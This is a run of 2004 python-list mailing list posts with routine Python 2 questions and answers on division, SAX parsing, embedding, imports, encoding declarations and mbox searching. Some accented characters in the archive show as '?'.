Any more ideas?


On Sun, 22 Feb 2004 20:32:50 +0100, Andrei <fake at fake.net> wrote:

>weasel wrote on Sun, 22 Feb 2004 19:07:01 GMT:
>
>> Why is the Farenheit to Celsius part not working properly? Instead of
>> showing a similar range of what the farenheit is listing, the celsius
>> portion is showing half the range of farenheit.
>
>Try this in your interactive interpreter:
>
>>>> 9/5
>
>What's odd about the result? "/" does integer division. It's weird and
>unexpected to lots of people, but it's the way it is - it will be fixed in
>due time. However, due to some time machine Guido is said to possess, you
>can already use the future behavior by doing this:
>
>from __future__ import division
>
>Then try 9/5 again. Integer division is "//" now, while "/" behaves as
>floating-point division.
>
>Alternatively, you could use a floating-point number instead of integers.
>Try this in a clean interpreter session (without the from __future__
>thing):
>
>>>> 9.0/5
>>>> 9/5.0
>>>> 9.0/5.0
>
><snip>         
>>         low_other_temp = (9 / 5 * low) + 32
>>         high_other_temp = (9 / 5 * high) + 32
>>         rnge = range(low, high + 1)
>>         faren = range(low_other_temp, high_other_temp + 1)  
>>         print rnge
>>         print faren
>>    
>>     elif temp == 'F' and low <= high:
>> 
>>         num1 = low - 32
>>         num2 = high - 32
>>         low_temp = num1 * 5/9
>>         high_temp = num2 * 5/9
>>         rnge = range(low, high + 1)
>>         celsi = range(low_temp, high_temp + 1)
>>         print rnge
>>         print celsi
><snip>



From alanmk at hotmail.com  Thu Feb 12 13:53:38 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Thu, 12 Feb 2004 18:53:38 +0000
Subject: Splitting a DOM
References: <fa538331.0402120759.44f20301@posting.google.com>
Message-ID: <402BCBB2.3333D5A6@hotmail.com>

[Brice Vissi?re]
> But I'm pretty sure that there's a better way to split the DOM ?

There's *lots* of ways to solve this one. The "best" solution depends
on which criteria you choose.

The most efficient in time and memory is probably SAX, although the
problem is so simple, a simple textual solution might work well, and
would definitely be faster.

Here's a bit of SAX code adapted from another SAX example I posted
earlier today. Note that this will not work properly if you have
<STEP> elements nested inside one another. In that case, you'd have to
maintain a stack of the output files: push the outfile onto the stack
in "startElement()" and pop it off in "endElement()".

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
import xml.sax
from xml.sax.saxutils import escape, quoteattr
import cStringIO as StringIO

split_on_elems = ['STEP']

class splitter(xml.sax.handler.ContentHandler):

  def __init__(self):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outfile = None
    self.seq_no = self.seq_no_gen()

  def seq_no_gen(self, n=0):
    while True: yield n ; n = n+1

  def startElement(self, elemname, attrs):
    if elemname in split_on_elems:
      self.outfile = open('step%04d.xml' % self.seq_no.next(), 'wt')
    if self.outfile:
      attrstr = ""
      for a in attrs.keys():
        attrstr = "%s%s" % (attrstr, " %s=%s" % (a,
quoteattr(attrs[a])))
      self.outfile.write("<%s%s>" % (elemname, attrstr))

  def endElement(self, elemname):
    if self.outfile: self.outfile.write('</%s>' % elemname)
    if elemname in split_on_elems:
      self.outfile.close() ; self.outfile = None

  def characters(self, s):
    if self.outfile: self.outfile.write("%s" % (s,))

testdoc = """
<ROOT>
  <STEP a="b" c="d">Step 0</STEP>
  <STEP>Step 1</STEP>
  <STEP>Step 2</STEP>
  <STEP>Step 3</STEP>
  <STEP>Step 4</STEP>
</ROOT>
"""

if __name__ == "__main__":
  parser = xml.sax.make_parser()
  PFJ = splitter()
  parser.setContentHandler(PFJ)
  parser.setFeature(xml.sax.handler.feature_namespaces, 0)
  parser.feed(testdoc)
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

HTH,

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From tdelaney at avaya.com  Wed Feb 18 16:13:29 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Thu, 19 Feb 2004 08:13:29 +1100
Subject: strings with moreover of one million of characters
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01377BB3@au3010avexu1.global.avaya.com>

> From: Jos? Carlos
> 
> Is possible use strings with moreover of one million of characters?

Yes. If you have enough memory, which shouldn't be a problem.

> I try using int() but the program keep blocked.

This is a completely separate issue. Presumably you are trying to convert a string which specifies a *very* large integer into a python long (which in 2.3 is done automatically by int).

If you wait a very long time, and you have enough memory, then this should work. But it will take a *very* long time.

After you've done that, try multiplying or dividing by another very large number ...

Tim Delaney



From gerrit at nl.linux.org  Wed Feb 18 10:57:05 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Wed, 18 Feb 2004 16:57:05 +0100
Subject: mailing list problems?
In-Reply-To: <403360C2.30207@prescod.net>
References: <20040214221839.GA22649@nl.linux.org> <c0o5ht$uvk$1@sea.gmane.org>
	<DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>
	<200402162153.37084.tim.jarman@lineone.net>
	<20040217093626.GA3162@nl.linux.org> <403360C2.30207@prescod.net>
Message-ID: <20040218155705.GA6709@nl.linux.org>

Paul Prescod wrote:
> I think that there are still problems. I don't believe I ever saw this post:
> 
> http://mail.python.org/pipermail/python-list/2004-February/207714.html
> 
> Gerrit, do you see the same problem?

I haven't seem this message, either.
But I do see a lot of messages coming through now, so it's puzzling.

Gerrit.

-- 
Weather in Twenthe, Netherlands 18/02 15:25 UTC:
	8.0??C Few clouds mostly clear wind 4.0 m/s NW (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From jjl at pobox.com  Fri Feb  6 20:02:17 2004
From: jjl at pobox.com (John J. Lee)
Date: 07 Feb 2004 01:02:17 +0000
Subject: How to optimised with embedded Python ?
References: <401C62C5.C5ECABF7@free.fr> <87fzduiapz.fsf@pobox.com>
	<401D9F6F.D5488B21@free.fr>
Message-ID: <87u123hfc6.fsf@pobox.com>

Emmanuel <eastier at free.fr> writes:
> "John J. Lee" a ?crit :
> > Emmanuel <eastier at free.fr> writes:
[...]
> > > How do I set the compiler, from the C api, to create optimised files ?
> >
> > There's a "compileall" script in the source distribution that should
> > show you how to do it.
[...]
> Actually, I found a solution :
> Just after the python initialize, I increment Py_OptimsedFlag :
[...]

Oh, sorry, I completely misread your question.  I missed the "C API"
bit...


John


From python at hitmedia.com  Thu Feb  5 00:33:03 2004
From: python at hitmedia.com (Python Baby)
Date: Wed, 4 Feb 2004 21:33:03 -0800
Subject: any examples of great well-written web apps?
Message-ID: <20040205053303.GA32817@mail.hitmedia.com>

learning Python, planning on making an interactive website.

To me, "interactive website" = "web app" = websites such as
NetFlix, Amazon, Orbitz, Hotmail, MyYahoo, etc.  Something
stateful that does a lot behind the scenes, but uses the 
web browser as an interface.

Has anyone seen any great examples of very well-written web
apps like this, in Python, that I could study the source?
(Preferably not as huge as the examples I named above.
I was just picking popular examples.)

The reason I'm asking the list instead of just browsing
Freshmeat or Sourceforge is that since I'm new to Python,
I won't know the difference (at first) between well-written
Python and clunky Python.  Looking for a website-service
that is a good example of a good use of Python.

(Getting used to "thinking in Python").

Thanks!




From theller at python.net  Fri Feb 20 18:21:36 2004
From: theller at python.net (Thomas Heller)
Date: Sat, 21 Feb 2004 00:21:36 +0100
Subject: Python Productivity Gain?
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
Message-ID: <4qtl8hhb.fsf@python.net>

Peter Hansen <peter at engcorp.com> writes:

> Scott David Daniels wrote:
>> 
>> Robert Brewer wrote:
>> 
>> > Gerrit wrote:
>> > ... 17 to go.
>> Actually I've seen two 17's, so I'll skip 16.
>> 
>> Machine, Assembly(>8), Fortran(I,II,IV,V), Snobol, Lisp,
>> Algol, Simscript, SAIL, Interlisp, Smalltalk, C, YACC/LEX/FLEX,
>> SLOE (microcode), Pascal, Class-C, Oz, C++, LML, Scheme, SQL,
>> Python.
>
> All right, machine language!  Was that with actual toggle input, or 
> were you hand-translating from assembly and entering hex on a keypad?
> I remember being able to write small print routines on the Commodores
> in straight machine language... hmm.. 


Keypad? Which keypad???

All I had was a couple of switches, and a pushbutton.
I had to set the switches to the binary values, and press the pushbutton
to write it.  I do not remember whether the address was incremented
automatically or not.  And LEDs to show the binary pattern.


> A9 80 20 FF D2 40 anyone? :-)
>

Hm, no, not hex.  This was an IM6100 microprocessor from intersil, a
clone of the DEC PDP-8 on one chip.  The 8080 was too expensive for me.
Around 1976..., built on a kind of wire wrap board - there were no
prefabricated kits at that time.

It has a word width of 12 bit, and octal notation was natural.  I still
remember some of the opcodes: ISZ - 'increment and scip if zero' for
example.

>> Machine, Assembly(>8), Fortran(I,II,IV,V), Snobol, Lisp,

Ok, ok.  Machine (see above), micro tiny Basic (home grown interpreter
written in machine code), then fortran IV (university), real assembly,
basic again, aztec C, Turbo Pascal, Tiny C (remember the book?) ported
to an embedded system, MS C, Prolog, scheme (several), Smalltalk, Python.

How many to go?

Thomas

Oh, and we didn't have a bed to sleep in. Ah, that's another story...




From __peter__ at web.de  Fri Feb 13 19:21:31 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 14 Feb 2004 01:21:31 +0100
Subject: re.sub replacement text \-escapes woe
References: <yfsznbmh7sn.fsf@black132.ex.ac.uk>
Message-ID: <c0jpmb$kv1$03$1@news.t-online.com>

Alexander Schmolck wrote:

> Sorry if I missed something obvious, but how do you do this more
> intelligently?
> 
> def escape(s):
>     return re.sub(r'([${}\\])', r'\ \1', s).replace('\\ ', '\\')
> 
> 'as

Interesting. No direct attack, but another workaround:

re.sub(r'([${}\\])', lambda m: '\\' + m.group(), s)

Peter


From bigbinc097_DONT_SPAM at comcast.net  Mon Feb  2 20:05:00 2004
From: bigbinc097_DONT_SPAM at comcast.net (Berlin Brown)
Date: Mon, 02 Feb 2004 20:05:00 -0500
Subject: Find function names from C
Message-ID: <zaCdnSd72anecoPdRVn-jg@comcast.com>

I am parsing a C file and want to find the function names, is this 
python worthy or is Emacs-Lisp better for this.  I have searched for 
some libraries but coming up null.  I just need the function names, no 
args or anything else.  I would probably have to run a regular 
expression pattern looking for int,void,static, etc and then the 
enclosing { }.



From nospam at nopes  Tue Feb 24 19:29:07 2004
From: nospam at nopes (Steve)
Date: Wed, 25 Feb 2004 11:29:07 +1100
Subject: How to suspend a script?
Message-ID: <403becad@clarion.carno.net.au>

Hi,

How can I send a python script a suspend signal? I need to suspend a 
script that frequently updates the database so that I can do a "vacuum" 
on  the database without affecting the script. Thanks!

Steve



From merkosh at hadiko.de  Sat Feb  7 14:58:56 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sat, 07 Feb 2004 20:58:56 +0100
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
Message-ID: <c03g1u$mtu$1@news.rz.uni-karlsruhe.de>

Josiah Carlson wrote:

> I don't know what one /should/ call it, but what you have is what I
> would call a circular import.  You are attempting to have two modules
> use the internals of each other.  That is poor design.

[...kludge...] 
> In the future, better design is suggested.

Ok, the following is the case:
I got a GUI. This is the base class (automatically generated) from which i
derive a class that does the implementation. However, since that may become
rather big I devided the functionality into different modules, i.e. one for
presentation, one for file-IO, one for help-topic related stuff, etc.
So this main file imports the modules that implement the functionality.
Obviously these modules need to access things like "enable action"s, install
hooks, etc. from the "main part".
And thats why the circular dependency.

I know that circular dependencies are rather bad than helpful, but the only
way to circumvent this is to build everything into one big block - which I
find is rather worse: the source file grows much too large to maintain a
good overview.

So the question is rather: how to make a better design?

Ciao
Uwe


From http  Thu Feb 26 18:02:43 2004
From: http (Paul Rubin)
Date: 26 Feb 2004 15:02:43 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
Message-ID: <7x7jy9igvg.fsf@ruckus.brouhaha.com>

Bob Ippolito <bob at redivi.com> writes:
> Have you seen: http://trevp.net/tlslite/ ?

No, hadn't seen it.  Interesting, thanks.  It looks like it's not a
full blown implementation right now (no real attempt to handle
certificates) but that it's moving in that direction.


From fpetermaas at netscape.net  Tue Feb 17 06:14:02 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Tue, 17 Feb 2004 12:14:02 +0100
Subject: python memory usage
In-Reply-To: <c0rd30$ddn$1@bagan.srce.hr>
References: <c0q354$p0f$1@swifty.westend.com> <c0rd30$ddn$1@bagan.srce.hr>
Message-ID: <c0st10$g5j$1@swifty.westend.com>

Ivan Voras wrote:

> Why didn't you just make a python script that does nothing (maybe 
> something like "while 1: pass")?

Fifo was simpler than writing three scripts for tcl, perl and python.
And I wanted a clean comparison with Perl waiting for data from stdin,
a zero test case.

> It cold be ok, but the second rss number seems a bit low. Here (Python 
> 2.3, FreeBSD 4.9) it looks like this:
> 
> tty-interpreter mode:                      rss: 2684, vsz: 3460
> running the one-lined empty loop script:   rss: 2212, vsz: 2992
> "running" an disconnected fifo:            rss: 1296, vsz: 1992

Similar results on my machine:

python   one-lined empty loop  rss: 2148  vsz: 3608
perl     one-lined empty loop  rss: 1112  vsz: 2756
tclsh8.3 one-lined empty loop  rss: 1096  vsz: 2316

Strange that starting an empty loop makes such a difference for python.
Anyway, the numbers are in a reasonable range, unlike the 18 MB than
came up in a discussion. Thanks for comparing.

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From jdhunter at ace.bsd.uchicago.edu  Wed Feb  4 12:58:23 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Wed, 04 Feb 2004 11:58:23 -0600
Subject: dlls and distutils
Message-ID: <m2u126engg.fsf@mother.paradise.lost>


I want to create a python extension module with a win32 installer.
The package has several other libraries that it depends on, which I
would like to bundle with the extension module.

I see two ways to go

  1) distribute the other dlls with my ext module as install_data.  If
     I go this route, where should they be put?  I don't want to put
     them into the windows system dir and ideally would like to avoid
     having the user set a path.

  2) Ideally, I would like to build my DLL with the other library code
     statically linked in.  But I'm not sure how to do this.  


Any tips or pointers to docs appreciated,
John Hunter



From miki.tebeka at zoran.com  Tue Feb  3 02:31:14 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 2 Feb 2004 23:31:14 -0800
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
	<bvmd1s$5b5$1@namru.matavnet.hu>
Message-ID: <4f0a9fdb.0402022331.394b3002@posting.google.com>

Hell Bastiaan, 

> I need find messages in huge mbox files (50MB or more).
> ...
> Anyone who has a better idea?
I find that sometime using the unix little utilties (which are
available for M$ as well) gives very good performance.

--- last.py ---
#!/usr/bin/env python
from os import popen
from sys import argv

# Find last "From:" line
last = popen("grep -n 'From:' %s | tail -1" % argv[1]).read()
last = int(last.split(":")[0])
# Find total number of lines
size = popen("wc -l %s" % argv[1]).read()
size = int(size.split()[0].strip())
# Print the message
print popen("tail -%d %s" % (size - last, argv[1])).read()
--- last.py ---
Tool less than 1sec on my computer on a 11MB mailbox.

HTH.
Miki


From bkc at Murkworks.com  Tue Feb 10 11:04:31 2004
From: bkc at Murkworks.com (Brad Clements)
Date: Tue, 10 Feb 2004 11:04:31 -0500
Subject: BON Business Object Notation and/or design by contract for Python?
Message-ID: <c0aveg$dqp$1@sea.gmane.org>

Has anyone examined BON (Business Object Notation)
http://www.bon-method.com/index_normal.htm (sorry frames)? This book was
published in 1996 and is out of print, but the full text is available at the
website in PDF format. Also there's a Visio tool on the site for doing BON
layout. There's also a text only version of BON specification

I'm especially interested in the "two way" aspect of BON and it's relative
open-ness compared to UML.

Has anyone tried BON? (on a Python project or not)

BON supports invariants, which leads to design by contract. (I haven't done
any design by contract yet)

But see

http://citeseer.nj.nec.com/257710.html

For a writeup on DBC for Python.


--
Novell DeveloperNet Sysop #5

_






From andymac at bullseye.apana.org.au  Wed Feb  4 03:21:15 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Wed, 4 Feb 2004 19:21:15 +1100 (EST)
Subject: in c extension what is easiest way to build a (PyObject) list
 from an array of doubles?
In-Reply-To: <20040203215009.GC9669@spawar.navy.mil>
References: <bf23f78f.0402022256.7ace879c@posting.google.com>
	<401F47ED.6070405@prescod.net> <20040203215009.GC9669@spawar.navy.mil>
Message-ID: <20040204191648.J38562@bullseye.apana.org.au>

On Tue, 3 Feb 2004 seberino at spawar.navy.mil wrote:

> How do you build a list/tuple/array/ from a C array of numbers?

The API docs are what you need to look at.

To create a tuple, call PyTuple_New().

For each element in your C array, build a Python object then use
PyTuple_SetItem() to insert it into the tuple.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From eastier at free.fr  Sun Feb  8 20:03:25 2004
From: eastier at free.fr (Emmanuel)
Date: Mon, 09 Feb 2004 02:03:25 +0100
Subject: How to bound a method to a instance ?
Message-ID: <4026DC5D.591FB4FD@free.fr>

Hi,


I would like to know how to bound a method to a instance of a class.

One application would be to allow a change in a method after a reload :

module toto :
--------------
class toto:
    def method(self):
(...)


main module :
--------------
import toto

a = toto.toto()
a.method() -> does something ...

reload (toto)
now a is not reloaded...

a.method = toto.toto().method
does not work, because a.method would be bounded to a new instance...


Thanks,

Emmanuel...



From ahsan.imam at newtimes.com  Fri Feb  6 17:30:14 2004
From: ahsan.imam at newtimes.com (ahsan Imam)
Date: 6 Feb 2004 14:30:14 -0800
Subject: DeprecationWarning: Non-ASCII character '\xc0'
Message-ID: <788bd2d4.0402061430.5d240743@posting.google.com>

Hello All,

I have this file and when I import the file in the python interpretor
I get the following error:

"__main__:1: DeprecationWarning: Non-ASCII character '\xc0' in file
trans.py on line 11, but no encoding declared; see
http://www.python.org/peps/pep-0263.html for details"

I am not sure what encoding to use. I am not sure where to look. I
picked one out of the documentation. Here is what I used:
# -*- coding: utf-8 -*-

Questions:
1) Is there a list I can pick the encoding from?
2) How can I find more about encoding?

Thanks, Ahsan
Here are contents of the file:
#!/usr/bin/python 
"""This module defines various general purpose translations, such as
an upper ASCII to lower ASCII map.
"""
# -*- coding: utf-8 -*-
__revision__ = '$Id: trans.py,v 1.6 2001/10/25 17:43:49 estep Exp $'
       
UPPER_ASCII_MAP = {
    '&#034;':'"',                  '&quot;'  :'"',
    '&#038;':'&',                  '&amp;'   :'&',
    '&#192;':'A', '<\\\#203>':'A', '&Agrave;':'A', '?':'A',
    '&#193;':'A', '<\\\#231>':'A', '&Aacute;':'A', '?':'A',
    '&#194;':'A', '<\\\#229>':'A', '&Acirc;' :'A', '?':'A',
    '&#195;':'A', '<\\\#204>':'A', '&Atilde;':'A', '?':'A',
    '&#196;':'A', '<\\\#128>':'A', '&Auml;'  :'A', '?':'A',
    '&#197;':'A', '<\\\#129>':'A', '&Aring;' :'A', '?':'A',
    '&#199;':'C', '<\\\#130>':'C', '&Ccedil;':'C', '?':'C',
    '&#200;':'E', '<\\\#233>':'E', '&Egrave;':'E', '?':'E',
    '&#201;':'E', '<\\\#131>':'E', '&Eacute;':'E', '?':'E',
    '&#202;':'E', '<\\\#230>':'E', '&Ecirc;' :'E', '?':'E',
    '&#203;':'E', '<\\\#232>':'E', '&Euml;'  :'E', '?':'E',
    '&#204;':'I', '<\\\#237>':'I', '&Igrave;':'I', '?':'I',
    '&#205;':'I', '<\\\#234>':'I', '&Iacute;':'I', '?':'I',
    '&#206;':'I', '<\\\#235>':'I', '&Icirc;' :'I', '?':'I',
    '&#207;':'I', '<\\\#236>':'I', '&Iuml;'  :'I', '?':'I',
    '&#209;':'N', '<\\\#132>':'N', '&Ntilde;':'N', '?':'N',
    '&#210;':'O', '<\\\#241>':'O', '&Ograve;':'O', '?':'O',
    '&#211;':'O', '<\\\#238>':'O', '&Oacute;':'O', '?':'O',
    '&#212;':'O', '<\\\#239>':'O', '&Ocirc;' :'O', '?':'O',
    '&#213;':'O', '<\\\#205>':'O', '&Otilde;':'O', '?':'O',
    '&#214;':'O', '<\\\#133>':'O', '&Ouml;'  :'O', '?':'O',
    '&#216;':'O', '<\\\#175>':'O', '&Oslash;':'O', '?':'O',
    '&#217;':'U', '<\\\#244>':'U', '&Ugrave;':'U', '?':'U',
    '&#218;':'U', '<\\\#242>':'U', '&Uacute;':'U', '?':'U',
    '&#219;':'U', '<\\\#243>':'U', '&Ucirc;' :'U', '?':'U',
    '&#220;':'U', '<\\\#134>':'U', '&Uuml;'  :'U', '?':'U',
    '&#221;':'Y',                  '&Yacute;':'Y', '?':'Y',
    '&#224;':'a', '<\\\#136>':'a', '&agrave;':'a', '?':'a',
    '&#225;':'a', '<\\\#135>':'a', '&aacute;':'a', '?':'a',
    '&#226;':'a', '<\\\#137>':'a', '&acirc;' :'a', '?':'a',
    '&#227;':'a', '<\\\#139>':'a', '&atilde;':'a', '?':'a',
    '&#228;':'a', '<\\\#138>':'a', '&auml;'  :'a', '?':'a',
    '&#229;':'a', '<\\\#140>':'a', '&aring;' :'a', '?':'a',
    '&#231;':'c', '<\\\#141>':'c', '&ccedil;':'c', '?':'c',
    '&#232;':'e', '<\\\#143>':'e', '&egrave;':'e', '?':'e',
    '&#233;':'e', '<\\\#142>':'e', '&eacute;':'e', '?':'e',
    '&#234;':'e', '<\\\#144>':'e', '&ecirc;' :'e', '?':'e',
    '&#235;':'e', '<\\\#145>':'e', '&euml;'  :'e', '?':'e',
    '&#236;':'i', '<\\\#147>':'i', '&igrave;':'i', '?':'i',
    '&#237;':'i', '<\\\#146>':'i', '&iacute;':'i', '?':'i',
    '&#238;':'i', '<\\\#148>':'i', '&icirc;' :'i', '?':'i',
    '&#239;':'i', '<\\\#149>':'i', '&iuml;'  :'i', '?':'i',
    '&#241;':'n', '<\\\#150>':'n', '&ntilde;':'n', '?':'n',
    '&#242;':'o', '<\\\#152>':'o', '&ograve;':'o', '?':'o',
    '&#243;':'o', '<\\\#151>':'o', '&oacute;':'o', '?':'o',
    '&#244;':'o', '<\\\#153>':'o', '&ocirc;' :'o', '?':'o',
    '&#245;':'o', '<\\\#155>':'o', '&otilde;':'o', '?':'o',
    '&#246;':'o', '<\\\#154>':'o', '&ouml;'  :'o', '?':'o',
    '&#248;':'o', '<\\\#191>':'o', '&oslash;':'o', '?':'o',
    '&#249;':'u', '<\\\#157>':'u', '&ugrave;':'u', '?':'u',
    '&#250;':'u', '<\\\#156>':'u', '&uacute;':'u', '?':'u',
    '&#251;':'u', '<\\\#158>':'u', '&ucirc;' :'u', '?':'u',
    '&#252;':'u', '<\\\#159>':'u', '&uuml;'  :'u', '?':'u',
    '&#253;':'y',                  '&yacute;':'y', '?':'y',
    '&#255;':'y', '<\\\#216>':'y', '&yuml;'  :'y', '?':'y'}

entitydefs = {
    'quot':'&#34;',
    'amp':'&#38;',
    'apos':'&#39;',
    'lt':'&#60;',
    'gt':'&#62;',
    'Agrave':'&#192;',
    'Aacute':'&#193;',
    'Acirc':'&#194;',
    'Atilde':'&#195;',
    'Auml':'&#196;',
    'Aring':'&#197;',
    'Ccedil':'&#199;',
    'Egrave':'&#200;',
    'Eacute':'&#201;',
    'Ecirc':'&#202;',
    'Euml':'&#203;',
    'Igrave':'&#204;',
    'Iacute':'&#205;',
    'Icirc':'&#206;',
    'Iuml':'&#207;',
    'Ntilde':'&#209;',
    'Ograve':'&#210;',
    'Oacute':'&#211;',
    'Ocirc':'&#212;',
    'Otilde':'&#213;',
    'Ouml':'&#214;',
    'Oslash':'&#216;',
    'Ugrave':'&#217;',
    'Uacute':'&#218;',
    'Ucirc':'&#219;',
    'Uuml':'&#220;',
    'Yacute':'&#221;',
    'agrave':'&#224;',
    'aacute':'&#225;',
    'acirc':'&#226;',
    'atilde':'&#227;',
    'auml':'&#228;',
    'aring':'&#229;',
    'ccedil':'&#231;',
    'egrave':'&#232;',
    'eacute':'&#233;',
    'ecirc':'&#234;',
    'euml':'&#235;',
    'igrave':'&#236;',
    'iacute':'&#237;',
    'icirc':'&#238;',
    'iuml':'&#239;',
    'ntilde':'&#241;',
    'ograve':'&#242;',
    'oacute':'&#243;',
    'ocirc':'&#244;',
    'otilde':'&#245;',
    'ouml':'&#246;',
    'oslash':'&#248;',
    'ugrave':'&#249;',
    'uacute':'&#250;',
    'ucirc':'&#251;',
    'uuml':'&#252;',
    'yacute':'&#253;',
    'yuml':'&#255;',
    }

entitydefs2 = {
    'quot':'<\#34>',
    'amp':'<\#38>',
    'apos':'<\#39>',
    'lt':'<\#60>',
    'gt':'<\#62>',
    'Agrave':'<\#192>',
    'Aacute':'<\#193>',
    'Acirc':'<\#194>',
    'Atilde':'<\#195>',
    'Auml':'<\#196>',
    'Aring':'<\#197>',
    'Ccedil':'<\#199>',
    'Egrave':'<\#200>',
    'Eacute':'<\#201>',
    'Ecirc':'<\#202>',
    'Euml':'<\#203>',
    'Igrave':'<\#204>',
    'Iacute':'<\#205>',
    'Icirc':'<\#206>',
    'Iuml':'<\#207>',
    'Ntilde':'<\#209>',
    'Ograve':'<\#210>',
    'Oacute':'<\#211>',
    'Ocirc':'<\#212>',
    'Otilde':'<\#213>',
    'Ouml':'<\#214>',
    'Oslash':'<\#216>',
    'Ugrave':'<\#217>',
    'Uacute':'<\#218>',
    'Ucirc':'<\#219>',
    'Uuml':'<\#220>',
    'Yacute':'<\#221>',
    'agrave':'<\#224>',
    'aacute':'<\#225>',
    'acirc':'<\#226>',
    'atilde':'<\#227>',
    'auml':'<\#228>',
    'aring':'<\#229>',
    'ccedil':'<\#231>',
    'egrave':'<\#232>',
    'eacute':'<\#233>',
    'ecirc':'<\#234>',
    'euml':'<\#235>',
    'igrave':'<\#236>',
    'iacute':'<\#237>',
    'icirc':'<\#238>',
    'iuml':'<\#239>',
    'ntilde':'<\#241>',
    'ograve':'<\#242>',
    'oacute':'<\#243>',
    'ocirc':'<\#244>',
    'otilde':'<\#245>',
    'ouml':'<\#246>',
    'oslash':'<\#248>',
    'ugrave':'<\#249>',
    'uacute':'<\#250>',
    'ucirc':'<\#251>',
    'uuml':'<\#252>',
    'yacute':'<\#253>',
    'yuml':'<\#255>',
    }


From lbates at swamisoft.com  Tue Feb  3 09:32:48 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 3 Feb 2004 08:32:48 -0600
Subject: index in "double" list
References: <mailman.1154.1075795507.12720.python-list@python.org>
Message-ID: <TrudnVGWP5WaLILd4p2dnA@comcast.com>

If you have list:

t=[[1,"a"],[2,"b"],[3,"c"]]

The first element of each list contained
in t is accessed by:

t[n][0]

where n is the element number you wish to access
(zero based of course).

-Larry

"Bo??tjan Jerko" <bostjan.jerko at mf.uni-lj.si> wrote in message
news:mailman.1154.1075795507.12720.python-list at python.org...
> Hello!
>
> I have a list of lists (e.g. [[1,"a"],[2,"b"],[3,"c"]]) and
> would like to do index on the first element of the lists.
> Can it be done?
>
> B.
>




From fnord at u.washington.edu  Fri Feb 13 17:12:48 2004
From: fnord at u.washington.edu (Lonnie Princehouse)
Date: 13 Feb 2004 14:12:48 -0800
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
Message-ID: <f70e3538.0402131412.6103d116@posting.google.com>

"Elaine Jackson" <elainejackson7355 at home.com> wrote in message news:<qj6Xb.476569$JQ1.239547 at pd7tw1no>...
> I'm about to tackle tkinter, but here's the thing: The only kind of GUI I want
> to work on is a chessboard (an 8x8 grid of images that can be "moved around").
> So before I start, I'm asking the room at large: Is there some way of going
> directly to what I'm interested in? Any help will be very much appreciated.
> 
> Peace

This isn't quite an answer to your question, but I've got exactly such
a Tkinter chessboard.  It's only half-finished (I have a short
attention span for projects!), but it might give you some ideas:

http://magicpeacefarm.com/lonnie/chessboard.tar.gz

Let me know if you use it for anything interesting =) 
It requires the Python Imaging Library (PIL)


From nhodgson at bigpond.net.au  Wed Feb 18 03:35:25 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Wed, 18 Feb 2004 08:35:25 GMT
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
	<87y8r2l73x.fsf@hydra.localdomain> <4qtqi1wt.fsf@python.net>
	<j1kYb.63374$Wa.7645@news-server.bigpond.net.au>
	<wu6mglcx.fsf@python.net>
Message-ID: <htFYb.64661$Wa.26252@news-server.bigpond.net.au>

Thomas Heller:
> "Neil Hodgson" <nhodgson at bigpond.net.au> writes:
> >    So if it is being redirected or captured by another application, such
as,
> > say, SciTE, then an extra console window will open up?
>
> No, that is not the intent.  Can this case be detected somehow?

   Probably not accurately. Could add a command line option to pythonw
indicating that it should / should not open a console as required to display
output.

   Neil




From bblochl2 at compuserve.de  Wed Feb 25 08:21:40 2004
From: bblochl2 at compuserve.de (b-blochl)
Date: Wed, 25 Feb 2004 14:21:40 +0100
Subject: Thoughts about Python
In-Reply-To: <15c2d03b.0402250158.77de365f@posting.google.com>
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<103n7q6278bj4be@news.supernews.com>
	<15c2d03b.0402250158.77de365f@posting.google.com>
Message-ID: <403CA164.9060605@compuserve.de>

Marco Aschwanden schrieb:

>...............
>I once read an interesting article that a programming language can be
>reduced to 4 instructions: (1) input (2) output (3) if-then (4) goto.
>All other commands / functions are built upon those 4 "basic ideas".
>.....................
>  
>

I am absolutely horrified to find  goto as a necessary  instruction of 
programming! Real (modern)  programming languages dont have a goto 
statement,  since extensive use is considered bad programming  practice 
